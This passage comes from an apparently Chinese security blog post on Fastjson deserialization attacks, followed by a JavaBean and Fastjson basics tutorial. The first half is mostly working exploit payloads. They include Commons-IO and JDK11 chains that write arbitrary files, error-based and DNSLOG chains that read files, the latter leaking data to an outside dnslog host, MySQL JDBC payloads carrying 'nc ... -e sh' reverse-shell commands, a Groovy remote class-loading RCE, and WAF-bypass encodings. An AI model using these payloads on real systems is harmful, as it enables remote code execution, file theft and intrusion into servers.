},\n" + " \"trigger\":{\n" + " \"@type\":\"java.lang.AutoCloseable\",\n" + " \"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\n" + " \"is\":{\n" + " \"@type\":\"org.apache.commons.io.input.TeeInputStream\",\n" + " \"input\":{\n" + " \"$ref\":\"$.input\"\n" + " },\n" + " \"branch\":{\n" + " \"$ref\":\"$.branch\"\n" + " },\n" + " \"closeBranch\": true\n" + " },\n" + " \"httpContentType\":\"text/xml\",\n" + " \"lenient\":false,\n" + " \"defaultEncoding\":\"UTF-8\"\n" + " },\n" + " \"trigger2\":{\n" + " \"@type\":\"java.lang.AutoCloseable\",\n" + " \"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\n" + " \"is\":{\n" + " \"@type\":\"org.apache.commons.io.input.TeeInputStream\",\n" + " \"input\":{\n" + " \"$ref\":\"$.input\"\n" + " },\n" + " \"branch\":{\n" + " \"$ref\":\"$.branch\"\n" + " },\n" + " \"closeBranch\": true\n" + " },\n" + " \"httpContentType\":\"text/xml\",\n" + " \"lenient\":false,\n" + " \"defaultEncoding\":\"UTF-8\"\n" + " },\n" + " \"trigger3\":{\n" + " \"@type\":\"java.lang.AutoCloseable\",\n" + " \"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\n" + " \"is\":{\n" + " \"@type\":\"org.apache.commons.io.input.TeeInputStream\",\n" + " \"input\":{\n" + " \"$ref\":\"$.input\"\n" + " },\n" + " \"branch\":{\n" + " \"$ref\":\"$.branch\"\n" + " },\n" + " \"closeBranch\": true\n" + " },\n" + " \"httpContentType\":\"text/xml\",\n" + " \"lenient\":false,\n" + " \"defaultEncoding\":\"UTF-8\"\n" + " }\n" + " }\n" + "}"; System.out.println(poc4); JSON.parseObject(poc4);
Commons-IO 2.7 - 2.8 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 //commons-io 2.7 - 2.8 String code5 = "FLAG{THIS_IS_A_flAT_THAT_You_REALLY_waNT!!!}"; int length5 = code5.length(); for (int i = 0; i <= 8192 - length5 ; i++) { code5 += " "; } String poc5 = "\n" + "{\n" + " \"x\":{\n" + " \"@type\":\"com.alibaba.fastjson.JSONObject\",\n" + " \"input\":{\n" + " \"@type\":\"java.lang.AutoCloseable\",\n" + " \"@type\":\"org.apache.commons.io.input.ReaderInputStream\",\n" + " \"reader\":{\n" + " \"@type\":\"org.apache.commons.io.input.CharSequenceReader\",\n" + " \"charSequence\":{\"@type\":\"java.lang.String\"\""+ code5 +"\",\n" + " \"start\":0,\n" + " \"end\":2147483647\n" + " },\n" + " \"charsetName\":\"UTF-8\",\n" + " \"bufferSize\":1024\n" + " },\n" + " \"branch\":{\n" + " \"@type\":\"java.lang.AutoCloseable\",\n" + " \"@type\":\"org.apache.commons.io.output.WriterOutputStream\",\n" + " \"writer\":{\n" + " \"@type\":\"org.apache.commons.io.output.FileWriterWithEncoding\",\n" + " \"file\":\"e:/ccc.txt\",\n" + //更改文件写入路径 " \"charsetName\":\"UTF-8\",\n" + " \"append\": false\n" + " },\n" + " \"charsetName\":\"UTF-8\",\n" + " \"bufferSize\": 1024,\n" + " \"writeImmediately\": true\n" + " },\n" + " \"trigger\":{\n" + " \"@type\":\"java.lang.AutoCloseable\",\n" + " \"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\n" + " \"inputStream\":{\n" + " \"@type\":\"org.apache.commons.io.input.TeeInputStream\",\n" + " \"input\":{\n" + " \"$ref\":\"$.input\"\n" + " },\n" + " \"branch\":{\n" + " \"$ref\":\"$.branch\"\n" + " },\n" + " \"closeBranch\": true\n" + " },\n" + " \"httpContentType\":\"text/xml\",\n" + " \"lenient\":false,\n" + " \"defaultEncoding\":\"UTF-8\"\n" + " },\n" + " \"trigger2\":{\n" + " \"@type\":\"java.lang.AutoCloseable\",\n" + " \"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\n" + " \"inputStream\":{\n" + " \"@type\":\"org.apache.commons.io.input.TeeInputStream\",\n" + " \"input\":{\n" + " \"$ref\":\"$.input\"\n" + " },\n" + " \"branch\":{\n" + " \"$ref\":\"$.branch\"\n" + " },\n" + " \"closeBranch\": true\n" + " },\n" + " \"httpContentType\":\"text/xml\",\n" + " \"lenient\":false,\n" + " \"defaultEncoding\":\"UTF-8\"\n" + " },\n" + " \"trigger3\":{\n" + " \"@type\":\"java.lang.AutoCloseable\",\n" + " \"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\n" + " \"inputStream\":{\n" + " \"@type\":\"org.apache.commons.io.input.TeeInputStream\",\n" + " \"input\":{\n" + " \"$ref\":\"$.input\"\n" + " },\n" + " \"branch\":{\n" + " \"$ref\":\"$.branch\"\n" + " },\n" + " \"closeBranch\": true\n" + " },\n" + " \"httpContentType\":\"text/xml\",\n" + " \"lenient\":false,\n" + " \"defaultEncoding\":\"UTF-8\"\n" + " }\n" + " }"; System.out.println(poc5); JSON.parseObject(poc5);
JDK11-无限制写文件 1.2.57<=FastJson<=1.2.68 主要针对JDK11版本,无其他环境依赖,且写入文件完整。 当确定JDK版本为11,可优先选择这条链。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 public class Fastjson_WriteFile_JDK11 { public static void main(String[] args) throws Exception { String code = gzcompress("qwerasdf"); //php -r "echo base64_encode(gzcompress('qwerasdf'));" //<=1.2.68 and JDK11 String payload = "{\r\n" + " \"@type\":\"java.lang.AutoCloseable\",\r\n" + " \"@type\":\"sun.rmi.server.MarshalOutputStream\",\r\n" + " \"out\":\r\n" + " {\r\n" + " \"@type\":\"java.util.zip.InflaterOutputStream\",\r\n" + " \"out\":\r\n" + " {\r\n" + " \"@type\":\"java.io.FileOutputStream\",\r\n" + " \"file\":\"e:/bbb.txt\",\r\n" + " \"append\":false\r\n" + " },\r\n" + " \"infl\":\r\n" + " {\r\n" + " \"input\":\r\n" + " {\r\n" + " \"array\":\""+code+"\",\r\n" + " \"limit\":16\r\n" //需对应修改 + " }\r\n" + " },\r\n" + " \"bufLen\":1048576\r\n" + " },\r\n" + " \"protocolVersion\":1\r\n" + "}\r\n" + ""; System.out.println(payload); JSON.parseObject(payload); } public static String gzcompress(String code) { byte[] data = code.getBytes(); byte[] output = new byte[0]; Deflater compresser = new Deflater(); compresser.reset(); compresser.setInput(data); compresser.finish(); ByteArrayOutputStream bos = new ByteArrayOutputStream(data.length); try { byte[] buf = new byte[1024]; while (!compresser.finished()) { int i = compresser.deflate(buf); bos.write(buf, 0, i); } output = bos.toByteArray(); } catch (Exception e) { output = data; e.printStackTrace(); } finally { try { bos.close(); } catch (IOException e) { e.printStackTrace(); } } compresser.end(); System.out.println(Arrays.toString(output)); return Base64.getEncoder().encodeToString(output); } }
使用技巧: gzcompress中传入需要写入的数据,区别于单纯base64编码数据,测试只能通过这种方式经压缩算法压缩后写入到文件。随后是修改limit处,与之前为原始数据长度不同,这里会有一点偏差, 他往往会比真实长度要短。例如我这里要写入的数据为qwerasdf
,对应长度为8,但写上8会发现写入到文件中是错误的甚至为空。 这里解决方式是利用报错,先适当写入比原始长度更长的数据,如20(测试发现尽量为2倍),同时在报错中会给出真实数据容量。 真实环境测试: 409才是对应的真实数据容量 https://www.ctfiot.com/53462.html [https://threedr3am.github.io/2021/04/14/JDK8%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E5%86%99%E5%9C%BA%E6%99%AF%E4%B8%8B%E7%9A%84SpringBoot%20RCE/] (https://threedr3am.github.io/2021/04/14/JDK8任意文件写场景下的SpringBoot RCE/) https://forum.butian.net/share/1623 https://paper.seebug.org/1698/#4 https://mp.weixin.qq.com/s/WbYi7lPEvFg-vAUB4Nlvew
读文件利用 1 2 3 4 5 <dependency> <groupId>org.aspectj</groupId> <artifactId>aspectjtools</artifactId> <version>1.5.4</version> </dependency>
虽然可做到读文件,但实际上是文件迁移,将会清空temp文件,写入到target中,所以,慎用!
1 2 3 4 5 6 7 //temppath存在,targetpath不存在,则将temp文件写入target String poc3 = "{\n" + " \"@type\": \"java.lang.AutoCloseable\",\n" + " \"@type\": \"org.eclipse.core.internal.localstore.SafeFileOutputStream\",\n" + " \"targetPath\": \"./bbbbbbb.txt\",\n" + " \"tempPath\": \"e:/aaa.txt\"\n" + "}";
Commons-IO - 报错 相较于上一种利用更加广泛,引入的依赖更加常见。
1 2 3 4 5 <dependency> <groupId>commons-io</groupId> <artifactId>commons-io</artifactId> <version>2.6</version> </dependency>
类似于SQL的报错布尔盲注,根据报错信息不同判断文件内容。 后续脚本或burp爆破即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 //commons-io 报错盲注 String poc2 = "{\n" + " \"abc\": {\n" + "\t\t\t\t\"@type\": \"java.lang.AutoCloseable\",\n" + " \"@type\": \"org.apache.commons.io.input.BOMInputStream\",\n" + " \"delegate\": {\n" + " \"@type\": \"org.apache.commons.io.input.ReaderInputStream\",\n" + " \"reader\": {\n" + " \"@type\": \"jdk.nashorn.api.scripting.URLReader\",\n" + " \"url\": \"file:///e:/ccc.txt\"\n" + //待读取的文件内容 " },\n" + " \"charsetName\": \"UTF-8\",\n" + " \"bufferSize\": 1024\n" + " },\n" + " \"boms\": [\n" + " {\n" + " \"charsetName\": \"UTF-8\",\n" + " \"bytes\": [\n" + " 70,76\n" + //文件内容的ascii,例如e:/ccc.txt中前两个字符FL,对应的ascii:70,76 " ]\n" + " }\n" + " ]\n" + " },\n" + " \"address\": {\n" + " \"@type\": \"java.lang.AutoCloseable\",\n" + " \"@type\": \"org.apache.commons.io.input.CharSequenceReader\",\n" + " \"charSequence\": {\n" + " \"@type\": \"java.lang.String\"{\"$ref\":\"$.abc.BOM[0]\"},\n" + " \"start\": 0,\n" + " \"end\": 0\n" + " }\n" + " }\n" + "}";
Commons-IO - DNSLOG 存在commons-io依赖即可,字节正确则发起DNS请求,根据请求读取文件信息。适用于无回显条件。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 { "abc":{"@type": "java.lang.AutoCloseable", "@type": "org.apache.commons.io.input.BOMInputStream", "delegate": { "@type": "org.apache.commons.io.input.ReaderInputStream", "reader": { "@type": "jdk.nashorn.api.scripting.URLReader", "url": "file:///e:/ccc.txt" }, "charsetName": "UTF-8", "bufferSize": 1024 },"boms": [ { "@type": "org.apache.commons.io.ByteOrderMark", "charsetName": "UTF-8", "bytes": [70,76] //与上述一致 } ] }, "address": { "@type": "java.lang.AutoCloseable", "@type": "org.apache.commons.io.input.BOMInputStream", "delegate": { "@type": "org.apache.commons.io.input.ReaderInputStream", "reader": { "@type": "jdk.nashorn.api.scripting.URLReader", "url": "http://lemono.s42bkn.dnslog.cn" }, "charsetName": "UTF-8", "bufferSize": 1024 }, "boms": [{"$ref":"$.abc.BOM[0]"}] }, "xxx":{"$ref":"$.address.BOM[0]"} }
Mysql-JDBC反序列化 5.1.11-5.1.48 存在mysql-connect依赖可JDBC反序列化rce。 先启动fake_mysql服务端https://github.com/fnmsd/MySQL_Fake_Server,具体使用看JDBC反序列化篇。
1 2 3 4 5 <dependency> <groupId>mysql</groupId> <artifactId>mysql-connector-java</artifactId> <version>5.1.47</version> </dependency>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 // mysql 5.1.11-5.1.48 { "@type": "java.lang.AutoCloseable", "@type": "com.mysql.jdbc.JDBC4Connection", "hostToConnectTo": "127.0.0.1", "portToConnectTo": 3306, "info": { "user": "yso_CommonsCollections6_nc 127.0.0.1 9999 -e sh", "password": "12345", "maxAllowedPacket": "655360", "statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor", "autoDeserialize": "true", "NUM_HOSTS": "1" }, "databaseToConnectTo": "dbname", "url": "" }
6.0.2-6.0.3 1 2 3 4 5 6 7 8 9 { "@type": "java.lang.AutoCloseable", "@type": "com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection", "proxy": { "connectionString": { "url": "jdbc:mysql://localhost:3306/test?allowLoadLocalInfile=true&autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections6_nc 127.0.0.1 9999 -e sh" } } }
8.0.19 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 { "@type": "java.lang.AutoCloseable", "@type": "com.mysql.cj.jdbc.ha.ReplicationMySQLConnection", "proxy": { "@type": "com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy", "connectionUrl": { "@type": "com.mysql.cj.conf.url.ReplicationConnectionUrl", "masters": [ { "host": "127.0.0.1" } ], "slaves": [], "properties": { "host": "127.0.0.1", "user": "yso_CommonsCollections6_calc", "dbname": "dbname", "password": "pass", "queryInterceptors": "com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor", "autoDeserialize": "true", "allowLoadLocalInfile": "true" } } } }
FastJson <=1.2.80 Groovy - rce 1.2.76<=FastJson<=1.2.80
1 2 3 4 5 <dependency> <groupId>org.codehaus.groovy</groupId> <artifactId>groovy</artifactId> <version>3.0.9</version> </dependency>
新建GroovyPoc.java,并编译为GroovyPoc.class(在恶意类的创建下有个问题:在idea中创建并编译为class时不要创建在任一自己的package下,这样服务端在加载该类时可能因为没有这个package导致调用失败) 比如这样是不行的,在/src/main/java目录下创建即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 @GroovyASTTransformation(phase = CompilePhase.CONVERSION) public class GroovyPoc implements ASTTransformation { public GroovyPoc(){ try{ Runtime.getRuntime().exec("calc"); }catch (Exception ex){ } } @Override public void visit(ASTNode[] astNodes, SourceUnit sourceUnit) { }
创建META-INF/services/org.codehaus.groovy.transform.ASTTransformation文件,并写入GroovyPoc
python -m http.server 9999
起一个http服务 此Poc仅在真实web环境中可用,因为涉及到两步操作。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 //先执行这段JSON指定期望类加入类缓存 { "@type":"java.lang.Exception", "@type":"org.codehaus.groovy.control.CompilationFailedException", "unit":{} } //再执行这段JSON远程类加载恶意类 { "@type":"org.codehaus.groovy.control.ProcessingUnit", "@type":"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit", "config":{ "@type":"org.codehaus.groovy.control.CompilerConfiguration", "classpathList":"http://10.30.2.83:9999/" } }
Aspectj - 读文件 FastJson>=1.2.73 && <=1.2.80,利用java.lang.Character报错,回显读取任意文件
1 2 3 4 5 <dependency> <groupId>org.aspectj</groupId> <artifactId>aspectjtools</artifactId> <version>1.9.5</version> </dependency>
此利用方式同上,仅在web端可行,因为需要用到缓存机制,依次发送三段payload。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 // poc1-1 { "@type":"java.lang.Exception", "@type":"org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException" } poc1-2 { "@type":"java.lang.Class", "val":{ "@type":"java.lang.String"{ "@type":"java.util.Locale", "val":{ "@type":"com.alibaba.fastjson.JSONObject", { "@type":"java.lang.String" "@type":"org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException", "newAnnotationProcessorUnits":[{}] } } } poc1-3 { "@type":"java.lang.Character" { "c":{ "@type":"org.aspectj.org.eclipse.jdt.internal.compiler.env.ICompilationUnit", "@type":"org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit", "fileName":"c:/windows/win.ini" } }
其他链请看su18的总结 。
还有更多的链子也可以看看我下面白盒的部分
WAF绕过 可看这篇:https://y4tacker.github.io/2022/03/30/year/2022/3/%E6%B5%85%E8%B0%88Fastjson%E7%BB%95waf/#%E7%BC%96%E7%A0%81%E7%BB%95%E8%BF%87-Unicode-Hex
FastJson默认会对Unicode和Hex解码 1 2 3 4 5 {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Exploit", "autoCommit":true} || || \/ {"\x40\u0074\u0079\u0070\u0065":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Exploit", "autoCommit":true}
_和-绕过 FastJson在解析JSON字段的key时,会将_和-替换为空;在1.2.36之前_和-只能单独使用,在1.2.36及之后,支持_和-混合使用。
1 {"@type":"com.sun.rowset.JdbcRowSetImpl",'d_a_t_aSourceName':"rmi://127.0.0.1:1099/Exploit", "autoCommit":true}
字符填充 和SQL一样,WAF会放行数据字符过大的数据包
1 2 3 4 5 { "@type":"org.example.User", "username":"1", "f":"a*20000" //2万个a }
白盒: Java bean是什么 Java Bean 是一种遵循特定规范的 Java 类,主要用于封装数据和提供标准的访问方式。
1. 必须有无参构造函数
1 2 3 4 5 public class Student { public Student () { } }
2. 属性私有化
1 2 private String name;private int age;
3. 提供标准的 getter/setter 方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public String getName () { return name; } public void setName (String name) { this .name = name; } private boolean active;public boolean isActive () { return active; }
4. 实现 Serializable 接口(可选但推荐)
1 2 3 4 public class Student implements Serializable { private static final long serialVersionUID = 1L ; }
完整示例
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 public class Student implements Serializable { private String name; private int age; private boolean active; public Student () {} public String getName () { return name; } public void setName (String name) { this .name = name; } public int getAge () { return age; } public void setAge (int age) { this .age = age; } public boolean isActive () { return active; } public void setActive (boolean active) { this .active = active; } }
主要用途
数据封装 :安全地存储和访问数据
框架集成 :Spring、Hibernate 等框架都依赖 JavaBean 规范
JSP 开发 :在 Web 页面中使用 <jsp:useBean>
JSON 序列化 :Fastjson、Jackson 等库按照 JavaBean 规范进行转换
反射操作 :各种工具可以通过反射自动处理 JavaBean
为什么重要?
标准化 :统一的访问方式,所有框架都能理解
工具支持 :IDE 可以自动生成 getter/setter
反射友好 :框架可以通过反射自动操作属性
可维护性 :清晰的结构,易于理解和维护
简单说,JavaBean 就是 Java 中的”标准数据容器”,遵循这个规范可以让你的类在各种框架和工具中”通用”。
javabean在fastjson有什么用呢?有什么关系呢? 后端里的JSONObject类型的对象和json的字符串之间的转换
就是通过javabean这个规范里的getAge和getName和setAge和setName这种函数进行转换和赋值
他会获取字符串里的key的值去找到对应的函数
然后赋值,读取也是同理
看个简单的案例了解一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 public class Student { private String name; private int age; public Student() { System.out.println("构造函数"); } public String getName() { System.out.println("getName"); return name; } public void setName(String name) { System.out.println("setName"); this.name = name; } public int getAge() { System.out.println("getAge"); return age; } public void setAge(int age) { System.out.println("setAge"); this.age = age; } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public class FJTest { public static void main(String[] args){ Student student = new Student(); student.setName("zjacky"); student.setAge(20); String jsonstring = JSON.toJSONString(student); //, SerializerFeature.WriteClassName System.out.println(jsonstring); } } 输出结果: 构造函数 setName setAge getAge getName {"age":20,"name":"zjacky"}
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public class FJTest { public static void main(String[] args){ Student xiaoming = JSON.parseObject("{\"age\":20,\"name\":\"zzzjjjjaaaacccckkkkkyyyy\"}",Student.class); System.out.println("Name: "+xiaoming.getName()); System.out.println("Age: "+xiaoming.getAge()); } } 输出结果: 构造函数 setAge setName getName Name: zzzjjjjaaaacccckkkkkyyyy getAge Age: 20
@type是什么和fastjson漏洞的原理 我们可以发现上面的代码里parseObject里的第二个参数的意思是要指定的反序列化后得到的对象类型是什么
Student.class指定是一个Student类型
但是实际开发过程中我们可能遇到的情况是可能会返回多个类型的可能或者不知道具体返回哪个类型?
那么这个时候我们就需要引入一个@type去指定返回的类型,而第二个参数则填写Object这个类这样无论@type是什么类型都能接受
两个类型之间必须有继承关系,且@type指定的类型必须能够赋值给第二个参数指定的类型
编写代码测试的时候我们只需要在上面代码的基础上Student.class变成Object.class这样具体的类型就由@type确定了
比如这样
1 2 3 4 5 6 7 8 package org.hantest.fastjsontest1;import com.alibaba.fastjson.JSON;public class FJTest { public static void main (String[] args) throws Exception { Runtime xiaoming = (Runtime) JSON.parseObject("{\"age\":20,\"@type\":\"java.lang.Runtime\"}" ,Object.class); System.out.println(xiaoming.exec("calc.exe" )); } }
小问题的思考: 如果是上面的Object.class变成是Student.class的情况下
这个时候我又用@type去指定类型那么到底最后得到的是我指定的类型呢还是Student类的对象呢?
可以看到下图里就算我们修改了一些类转换和防止因为类的转换不成功导致的报错.但是最后的运行效果依旧是报错的
所以这种写法上的冲突是不允许存在的
代码审计的时候我们如果遇到了已经指定了第二个参数的类型并且这个类型不是Object类,那么这个时候代码审计判断这里是否可以打fastjson的利用链的漏洞就不是靠@type而是看指定的类型是否能利用或者存在危害
autoType
是什么autoType
是 Fastjson 的一个机制,它允许你在反序列化 JSON 时通过 @type
字段指定要反序列化成哪个 Java 类。
🔧 示例:
1 2 3 { "@type": "java.lang.Runtime" }
如果 autoType
被启用,Fastjson 会根据 @type
中指定的类名反射加载该类,并尝试反序列化为这个类型的对象。
如果关闭则不会根据这个指定的类名反射加载该类
但是也是可以绕过的,先了解一下这个概念,一点一点讲
其他的一些基础知识点来个总结: Getter 方法 是一种统称,方法名一般是 getXxx()
的形式。
setter方法也是如此
check
下面涉及到parseObject和parse区别
parse() vs parseObject() 区别
1. parse() 方法
2. parseObject() 方法
返回类型 :JSONObject
或指定的类型
用途 :专门解析JSON对象
重载版本
:
parseObject(String)
→ 返回 JSONObject
parseObject(String, Class<T>)
→ 返回指定类型 T
选择建议 :
需要类型安全 → 使用 parseObject(json, MyClass.class)
动态处理JSON → 使用 parse()
或 parseObject()
使用 JSON.parse(jsonString)
和 JSON.parseObject(jsonString, Target.class)
,两者调用链一致,前者会在 jsonString 中解析字符串获取 @type
指定的类,后者则会直接使用参数中的class。
Feature.SupportNonPublicField 的用法和效果
1 2 3 4 5 6 7 8 9 10 11 System.out.println("=== 不启用 SupportNonPublicField ==="); Person person1 = JSON.parseObject(json, Person.class); System.out.println(person1); // 输出:Person{name='null', age=25, email='zhangsan@example.com'} // name 为 null,因为没有 setName 方法 System.out.println("\n=== 启用 SupportNonPublicField ==="); Person person2 = JSON.parseObject(json, Person.class, Feature.SupportNonPublicField); System.out.println(person2); // 输出:Person{name='张三', age=25, email='zhangsan@example.com'} // name 有值,因为直接设置了私有字段
WriteClassName 的用法和效果
不使用 WriteClassName:
1 { "age" : 28 , "email" : "test@example.com" }
使用 WriteClassName:
1 { "@type" : "com.example.Person" , "age" : 28 , "email" : "test@example.com" }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 package org.hantest.fastjsontest1; class Person { private String name; private int age; public String email; // 公共字段 // 故意不提供 name 的 setter 方法 public String getName() { return name; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } public String getEmail() { return email; } public void setEmail(String email) { this.email = email; } @Override public String toString() { return "Person{name='" + name + "', age=" + age + ", email='" + email + "'}"; } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 package org.hantest.fastjsontest1;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.Feature;import com.alibaba.fastjson.serializer.SerializerFeature;import com.alibaba.fastjson.JSONObject;import com.alibaba.fastjson.JSONArray;public class NonPublicFieldTest { public static void main (String[] args) { String json = "{\"name\":\"张三\",\"age\":25,\"email\":\"zhangsan@example.com\"}" ; System.out.println("=== 不启用 SupportNonPublicField ===" ); Person person1 = JSON.parseObject(json, Person.class); System.out.println(person1); System.out.println("\n=== 启用 SupportNonPublicField ===" ); Person person2 = JSON.parseObject(json, Person.class, Feature.SupportNonPublicField); System.out.println(person2); System.out.println("\n" + "================" ); System.out.println("=== parse() vs parseObject() 区别演示 ===" ); testParseVsParseObject(); System.out.println("\n" + "================" ); System.out.println("=== WriteClassName 用法和效果演示 ===" ); testWriteClassName(); } public static void testParseVsParseObject () { String jsonStr = "{\"name\":\"李四\",\"age\":30}" ; String arrayJsonStr = "[{\"name\":\"王五\",\"age\":35}, {\"name\":\"赵六\",\"age\":40}]" ; System.out.println("原始JSON字符串: " + jsonStr); System.out.println("原始JSON数组: " + arrayJsonStr); System.out.println("\n--- 使用 parse() ---" ); Object parseResult1 = JSON.parse(jsonStr); Object parseResult2 = JSON.parse(arrayJsonStr); System.out.println("parse(jsonStr) 返回类型: " + parseResult1.getClass().getSimpleName()); System.out.println("parse(jsonStr) 结果: " + parseResult1); System.out.println("parse(arrayJsonStr) 返回类型: " + parseResult2.getClass().getSimpleName()); System.out.println("parse(arrayJsonStr) 结果: " + parseResult2); System.out.println("\n--- 使用 parseObject() ---" ); JSONObject jsonObj = JSON.parseObject(jsonStr); Person person = JSON.parseObject(jsonStr, Person.class); System.out.println("parseObject(jsonStr) 返回类型: " + jsonObj.getClass().getSimpleName()); System.out.println("parseObject(jsonStr) 结果: " + jsonObj); System.out.println("parseObject(jsonStr, Person.class) 返回类型: " + person.getClass().getSimpleName()); System.out.println("parseObject(jsonStr, Person.class) 结果: " + person); System.out.println("\n--- 类型转换验证 ---" ); if (parseResult1 instanceof JSONObject) { JSONObject obj = (JSONObject) parseResult1; System.out.println("parse()结果可以转换为JSONObject: " + obj.getString("name" )); } if (parseResult2 instanceof JSONArray) { JSONArray arr = (JSONArray) parseResult2; System.out.println("parse()数组结果长度: " + arr.size()); } } public static void testWriteClassName () { Person person = new Person (); person.setAge(28 ); person.setEmail("test@example.com" ); System.out.println("原始对象: " + person); System.out.println("\n--- 不使用 WriteClassName ---" ); String jsonWithoutClassName = JSON.toJSONString(person); System.out.println("序列化结果: " + jsonWithoutClassName); System.out.println("\n--- 使用 WriteClassName ---" ); String jsonWithClassName = JSON.toJSONString(person, SerializerFeature.WriteClassName); System.out.println("序列化结果: " + jsonWithClassName); System.out.println("\n--- 反序列化对比 ---" ); Person person1 = JSON.parseObject(jsonWithoutClassName, Person.class); System.out.println("不带类名反序列化(指定类型): " + person1); Object person2 = JSON.parseObject(jsonWithClassName); System.out.println("带类名反序列化(Object): " + person2); System.out.println("实际类型: " + person2.getClass().getName()); System.out.println("\n--- 继承关系演示 WriteClassName 的重要性 ---" ); demonstrateInheritanceWithClassName(); } public static void demonstrateInheritanceWithClassName () { class Student extends Person { private String school; public String getSchool () { return school; } public void setSchool (String school) { this .school = school; } @Override public String toString () { return "Student{school='" + school + "', " + super .toString() + "}" ; } } Student student = new Student (); student.setAge(20 ); student.setEmail("student@school.com" ); student.setSchool("清华大学" ); System.out.println("原始Student对象: " + student); String jsonWithoutClass = JSON.toJSONString(student); System.out.println("不带类名序列化: " + jsonWithoutClass); String jsonWithClass = JSON.toJSONString(student, SerializerFeature.WriteClassName); System.out.println("带类名序列化: " + jsonWithClass); Person person1 = JSON.parseObject(jsonWithoutClass, Person.class); System.out.println("不带类名反序列化为Person: " + person1); System.out.println("类型: " + person1.getClass().getSimpleName()); System.out.println("注意: 内部类使用WriteClassName可能会有问题,建议使用顶级类测试" ); } }
输出结果:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 === 不启用 SupportNonPublicField === Person{name='null', age=25, email='zhangsan@example.com'} === 启用 SupportNonPublicField === Person{name='张三', age=25, email='zhangsan@example.com'} ================ === parse() vs parseObject() 区别演示 === 原始JSON字符串: {"name":"李四","age":30} 原始JSON数组: [{"name":"王五","age":35}, {"name":"赵六","age":40}] --- 使用 parse() --- parse(jsonStr) 返回类型: JSONObject parse(jsonStr) 结果: {"name":"李四","age":30} parse(arrayJsonStr) 返回类型: JSONArray parse(arrayJsonStr) 结果: [{"name":"王五","age":35},{"name":"赵六","age":40}] --- 使用 parseObject() --- parseObject(jsonStr) 返回类型: JSONObject parseObject(jsonStr) 结果: {"name":"李四","age":30} parseObject(jsonStr, Person.class) 返回类型: Person parseObject(jsonStr, Person.class) 结果: Person{name='null', age=30, email='null'} --- 类型转换验证 --- parse()结果可以转换为JSONObject: 李四 parse()数组结果长度: 2 ================ === WriteClassName 用法和效果演示 === 原始对象: Person{name='null', age=28, email='test@example.com'} --- 不使用 WriteClassName --- 序列化结果: {"age":28,"email":"test@example.com"} --- 使用 WriteClassName --- 序列化结果: {"@type":"org.hantest.fastjsontest1.Person","age":28,"email":"test@example.com"} --- 反序列化对比 --- 不带类名反序列化(指定类型): Person{name='null', age=28, email='test@example.com'} 带类名反序列化(Object): {"age":28,"email":"test@example.com"} 实际类型: com.alibaba.fastjson.JSONObject --- 继承关系演示 WriteClassName 的重要性 --- 原始Student对象: Student{school='清华大学', 